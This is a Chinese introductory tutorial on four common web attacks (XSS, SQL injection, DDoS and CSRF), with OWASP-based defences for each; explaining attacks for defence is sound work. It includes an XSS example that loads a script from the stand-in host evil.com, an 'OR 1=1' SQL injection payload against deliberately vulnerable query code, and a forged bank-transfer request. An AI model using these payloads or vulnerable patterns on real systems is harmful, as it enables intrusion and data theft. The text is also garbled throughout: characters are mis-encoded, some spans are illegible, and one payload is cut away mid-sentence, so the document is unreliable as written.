Web 安全入門之常見攻擊

搞 Web 開發(fā)離不開安全這個(gè)話題，確保網(wǎng)站或者網(wǎng)頁(yè)應(yīng)用的安全性，是每個(gè)開發(fā)人員都應(yīng)該了解的事。本篇主要簡(jiǎn)單介紹在 Web 領(lǐng)域幾種常見的攻擊手段。

1. Cross Site Script（XSS， 跨站腳本攻擊)

首先插播一句，為毛叫 XSS，縮寫明顯是 CSS ?。繘]錯(cuò)，為了防止與我們熟悉的 CSS（Cascading Style Sheets）混淆，所以干脆更名為 XSS。

那 XSS 是什么呢？一言蔽之，XSS 就是攻擊者在 Web 頁(yè)面中插入惡意腳本，當(dāng)用戶瀏覽頁(yè)面時(shí)，促使腳本執(zhí)行，從而達(dá)到攻擊目的。XSS 的特點(diǎn)就是想盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行第三方腳本。

( 圖片來源：XSS Tutorial?)

舉個(gè)例子。原有的網(wǎng)站有個(gè)將數(shù)據(jù)庫(kù)中的數(shù)據(jù)顯示到頁(yè)面的上功能，document.write("data from server")。但如果服務(wù)器沒有驗(yàn)證數(shù)據(jù)類型，直接接受任何數(shù)據(jù)時(shí)，攻擊者可以會(huì)將 當(dāng)做一個(gè)數(shù)據(jù)寫入數(shù)據(jù)庫(kù)。當(dāng)其他用戶請(qǐng)求這個(gè)數(shù)據(jù)時(shí)，網(wǎng)站原有的腳本就會(huì)執(zhí)行 document.write("http://www.evil.com/bad-script.js'>")，這樣，便會(huì)執(zhí)行 bad-script.js。如果攻擊者在這段第三方的腳本中寫入惡意腳本，那么普通用戶便會(huì)受到攻擊。

XSS 主要有三種類型：

存儲(chǔ)型 XSS： 注入的腳本永久的存在于目標(biāo)服務(wù)器上，每當(dāng)受害者向服務(wù)器請(qǐng)求此數(shù)據(jù)時(shí)就會(huì)重新喚醒攻擊腳本；

反射型 XSS： 當(dāng)用受害者被引誘點(diǎn)擊一個(gè)惡意鏈接，提交一個(gè)偽造的表單，惡意代碼便會(huì)和正常返回?cái)?shù)據(jù)一起作為響應(yīng)發(fā)送到受害者的瀏覽器，從而騙過了瀏覽器，使之誤以為惡意腳本來自于可信的服務(wù)器，以至于讓惡意腳本得以執(zhí)行。

（ 圖片來源：?Cross-Site Scripting (XSS)?）

DOM 型 XSS： 有點(diǎn)類似于存儲(chǔ)型 XSS，但存儲(chǔ)型 XSS 是將惡意腳本作為數(shù)據(jù)存儲(chǔ)在服務(wù)器中，每個(gè)調(diào)用數(shù)據(jù)的用戶都會(huì)受到攻擊。但 DOM 型 XSS 則是一個(gè)本地的行為，更多是本地更新 DOM 時(shí)導(dǎo)致了惡意腳本執(zhí)行。

那么如何防御 XSS 攻擊呢？

從客戶端和服務(wù)器端雙重驗(yàn)證所有的輸入數(shù)據(jù)，這一般能阻擋大部分注入的腳本

對(duì)所有的數(shù)據(jù)進(jìn)行適當(dāng)?shù)木幋a

設(shè)置 HTTP Header： "X-XSS-Protection: 1"

2. SQL Injection （SQL 注入）

所謂 SQL 注入，就是通過客戶端的輸入把 SQL 命令注入到一個(gè)應(yīng)用的數(shù)據(jù)庫(kù)中，從而得以執(zhí)行惡意 SQL 語(yǔ)句。

先看個(gè)例子。

uname = request.POST['username']

password = request.POST['password']

sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"

database.execute(sql)

上面這段程序直接將客戶端傳過來的數(shù)據(jù)寫入到數(shù)據(jù)庫(kù)。試想一下，如果用戶傳入的 password 值是： "password’ OR 1=1"，那么 sql 語(yǔ)句便會(huì)變成：

sql = "SELECT all FROM users WHERE username='username' AND password='password' OR 1=1"

那么，這句 sql 無論 username 和 password 是什么都會(huì)執(zhí)行，從而將所有用戶的信息取出來。

那么怎么預(yù)防 sql 的問題呢？

想要提出解決方案，先看看 sql 注入得以施行的因素：

網(wǎng)頁(yè)應(yīng)用使用 SQL 來控制數(shù)據(jù)庫(kù)

用戶傳入的數(shù)據(jù)直接被寫入數(shù)據(jù)庫(kù)

根據(jù)?OWASP，下面看看具體的預(yù)防措施。

Prepared Statements (with Parameterized Queries)： 參數(shù)化的查詢語(yǔ)句可以強(qiáng)制應(yīng)用開發(fā)者首先定義所有的 sql 代碼，之后再將每個(gè)參數(shù)傳遞給查詢語(yǔ)句

Stored Procedures： 使用語(yǔ)言自帶的存儲(chǔ)程序，而不是自己直接操縱數(shù)據(jù)庫(kù)

White List Input Validation： 驗(yàn)證用戶的輸入

Escaping All User Supplied Input： 對(duì)用戶提供的所有的輸入都進(jìn)行編碼

3. Distributed Denial of Service （DDoS， 分布式拒絕服務(wù)）

DoS 攻擊就是通過大量惡意流量占用帶寬和計(jì)算資源以達(dá)到癱瘓對(duì)方網(wǎng)絡(luò)的目的。

舉個(gè)簡(jiǎn)單的例子，老鄭家面館生意紅火，突然有一天一群小混混進(jìn)了點(diǎn)，霸占了座位，只閑聊不點(diǎn)菜，結(jié)果坐在店里的人不吃面，想吃面的人進(jìn)不來，導(dǎo)致老鄭無法向正?？蛻舴?wù)。

而 DDoS 攻擊就是將多個(gè)計(jì)算機(jī)聯(lián)合起來一同向目標(biāo)發(fā)起攻擊，從而成倍地提高拒絕服務(wù)攻擊的威力。

（圖片來源于：?DDoSCoin - An Incentive to Launch DDoS Attacks?）

一般 DDoS 攻擊有兩個(gè)目的：

敲詐勒索，逼你花錢買平安

打擊競(jìng)爭(zhēng)對(duì)手

在技術(shù)角度上，DDoS攻擊可以針對(duì)網(wǎng)絡(luò)通訊協(xié)議的各層，手段大致有：TCP類的SYN Flood、ACK Flood，UDP類的Fraggle、Trinoo，DNS Query Flood，ICMP Flood，Slowloris類、各種社工方式等等，這些技術(shù)這里不做詳細(xì)解釋。但是一般會(huì)根據(jù)攻擊目標(biāo)的情況，針對(duì)性的把技術(shù)手法混合，以達(dá)到最低的成本最難防御的目的，并且可以進(jìn)行合理的節(jié)奏控制，以及隱藏保護(hù)攻擊資源。

阿里巴巴的安全團(tuán)隊(duì)在實(shí)戰(zhàn)中發(fā)現(xiàn)，DDoS 防御產(chǎn)品的核心是檢測(cè)技術(shù)和清洗技術(shù)。檢測(cè)技術(shù)就是檢測(cè)網(wǎng)站是否正在遭受 DDoS 攻擊，而清洗技術(shù)就是清洗掉異常流量。而檢測(cè)技術(shù)的核心在于對(duì)業(yè)務(wù)深刻的理解，才能快速精確判斷出是否真的發(fā)生了 DDoS 攻擊。清洗技術(shù)對(duì)檢測(cè)來講，不同的業(yè)務(wù)場(chǎng)景下要求的粒度不一樣。

4. Cross Site Request Forgery (CSRF， 跨站請(qǐng)求偽造)

簡(jiǎn)單來說，CSRF 就是網(wǎng)站 A 對(duì)用戶建立信任關(guān)系后，在網(wǎng)站 B 上利用這種信任關(guān)系，跨站點(diǎn)向網(wǎng)站 A 發(fā)起一些偽造的用戶操作請(qǐng)求，以達(dá)到攻擊的目的。

舉個(gè)例子。網(wǎng)站 A 是一家銀行的網(wǎng)站，一個(gè)轉(zhuǎn)賬接口是 "http://www.bankA.com/transfer?toID=12345678&cash=1000"。toID 表示轉(zhuǎn)賬的目標(biāo)賬戶，cash 表示轉(zhuǎn)賬數(shù)目。當(dāng)然這個(gè)接口沒法隨便調(diào)用，只有在已經(jīng)驗(yàn)證的情況下才能夠被調(diào)用。

此時(shí)，攻擊者建立了一個(gè) B 網(wǎng)站，里面放了一段隱藏的代碼，用來調(diào)用轉(zhuǎn)賬的接口。當(dāng)受害者先成功登錄了 A 網(wǎng)站，短時(shí)間內(nèi)不需要再次驗(yàn)證，這個(gè)時(shí)候又訪問了網(wǎng)站 B，B 里面隱藏的惡意代碼就能夠成功執(zhí)行。

那怎么預(yù)防 CSRF 攻擊呢？OWASP?推薦了兩種檢查方式來作為防御手段。

檢查標(biāo)準(zhǔn)頭部，確認(rèn)請(qǐng)求是否同源： 檢查 source origin 和 target origin，然后比較兩個(gè)值是否匹配

檢查 CSRF Token： 主要有四種推薦的方式

Synchronizer Tokens： 在表單里隱藏一個(gè)隨機(jī)變化的 token，每當(dāng)用戶提交表單時(shí)，將這個(gè) token 提交到后臺(tái)進(jìn)行驗(yàn)證，如果驗(yàn)證通過則可以繼續(xù)執(zhí)行操作。這種情況有效的主要原因是網(wǎng)站 B 拿不到網(wǎng)站 A 表單里的 token;

Double Cookie Defense： 當(dāng)向服務(wù)器發(fā)出請(qǐng)求時(shí)，生成一個(gè)隨機(jī)值，將這個(gè)隨機(jī)值既放在 cookie 中，也放在請(qǐng)求的參數(shù)中，服務(wù)器同時(shí)驗(yàn)證這兩個(gè)值是否匹配；

Encrypted Token Pattern： 對(duì) token 進(jìn)行加密

Custom Header： 使用自定義請(qǐng)求頭部，這個(gè)方式依賴于同源策略。其中最適合的自定義頭部便是： "X-Requested-With: XMLHttpRequest"